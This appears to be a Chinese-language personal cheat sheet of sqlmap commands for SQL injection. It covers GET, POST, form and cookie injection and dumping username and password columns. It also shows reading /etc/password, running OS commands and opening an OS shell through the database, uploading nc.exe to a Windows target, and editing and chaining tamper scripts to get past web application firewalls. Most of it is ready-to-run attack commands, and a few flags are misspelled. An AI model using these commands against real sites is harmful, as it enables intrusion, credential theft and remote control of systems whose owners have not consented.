填坑~~

SQLMap常见语句

首先要明确
整个的单词 需要用两个横杠–
缩写的单词 需要一个横杠-

参考:https://www.freebuf.com/sectool/164608.html

一、个人常用语句总结:

1、最常用URL注入语句 sqlmap.py -u http://192.168.0.102/sqlserver/1.aspx?xxser=1

–level=LEVEL 执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。

  • -risk=RISK 执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

-v VERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。

2、批量注入 sqlmap.py -m oldboy.txt

3、模拟测试手机环境站点 sqlmap.py -u”http://www.oldboyedu.com/vuln.php?id=1” –mobile

4、智能判断测试 sqlmap.py -u “http://www.oldboyedu.com/info.php?id=1“–batch –smart

5、post注入 sqlmap.py -r burpsuite抓包.txt

6、指定参数注入 sqlmap.py -r post.txt -p 注入参数

7、指定表单注入 sqlmap.py -u URL –data“username=a&password=a”

二、sqlmap自动填写表单注入

sqlmap.py -u URL --forms

sqlmap.py -u URL –forms --dbs //默认情况系sqlmap会自动的探测web应用后端的数据库类型:MySQL、Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2

–current-user:大多数数据库中可检测到数据库管理系统当前用户

–current-db:当前连接数据库名

–is-dba:判断当前的用户是否为管理

–users:列出数据库所有所有用户

sqlmap.py -u URL –forms –dbs

sqlmap.py -u URL –forms –current-db

sqlmap.py -u URL –forms -D 数据库名称 –-tables

sqlmap.py -u URL –forms -D 数据库名称 -T 表名 --columns

sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -C username,password --dump

三、sqlmap cookies注入

sqlmap.py -u “http://127.0.0.1/base.PHP“–cookies “ant[uname]=admin″ –dbs --level 2

默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:

sqlmap.py -u 注入点URL --cookie “id=xx” --level 3

sqlmap.py -u url --cookie “id=xx”–level 3 --tables(猜表名)

sqlmap.py -u url --cookie “id=xx”–level 3 -T 表名 --coiumns

sqlmap.py -u url --cookie “id=xx”–level 3 -T 表名 -C username,password --dump

四、扩展命令执行

1、sqlmap.py-u “url” --file-read /etc/password

2、sqlmap.py -u “url” --os-cmd="net user” /执行net user命令/

3、sqlmap.py -u “url” --os-shell /系统交互的shell/

4、sqlmap.py -u”http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther“-–file-read “C:/example.exe” -v 1

5、python sqlmap.py -u”http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” -–file-write "/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” -v1 /将/software/nc.exe文件上传到C:/WINDOWS/Temp下/

五、SQLMAP突破Waf

  1. mysql的注释方法进行绕过WAF进行SQL注入
    (1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py

return match.group().replace(word,”/*!0%s” % word) 为:

return match.group().replace(word,”/!50000%s/” % word)

(2)修改C:\Python27\sqlmap\xml\queries.xml

<cast query=”CAST(%s ASCHAR)”/>为:

<castquery=”convert(%s,CHAR)”/>

(3)使用sqlmap进行注入测试

sqlmap.py -u”http://**.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py”

其它绕过waf脚本方法:

sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” –tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

(4)tamper目录下文件具体含义:

space2comment.py用/**/代替空格

apostrophemask.py用utf8代替引号

equaltolike.pylike代替等号

space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)

greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。

space2hash.py空格替换为#号,随机字符串以及换行符

apostrophenullencode.py绕过过滤双引号,替换字符和双引号。

halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’

space2mssqlblank.py(mssql)空格替换为其它空符号

base64encode.py 用base64编码替换

space2mssqlhash.py 替换空格

modsecurityversioned.py过滤空格,包含完整的查询版本注释

space2mysqlblank.py 空格替换其它空白符号(mysql)

between.py用between替换大于号(>)

space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py围绕SQL关键字添加多个空格

space2plus.py用+替换空格

bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like

nonrecursivereplacement.py双重查询语句,取代SQL关键字

space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py双url编码(不处理以编码的)

unionalltounion.py替换UNION ALLSELECT UNION SELECT

charencode.py url编码

randomcase.py随机大小写

unmagicquotes.py宽字符绕过 GPCaddslashes

randomcomments.py用/**/分割sql关键字

charunicodeencode.py字符串 unicode 编码

securesphere.py追加特制的字符串

versionedmorekeywords.py注释绕过

space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’

halfversionedmorekeywords.py关键字前加注释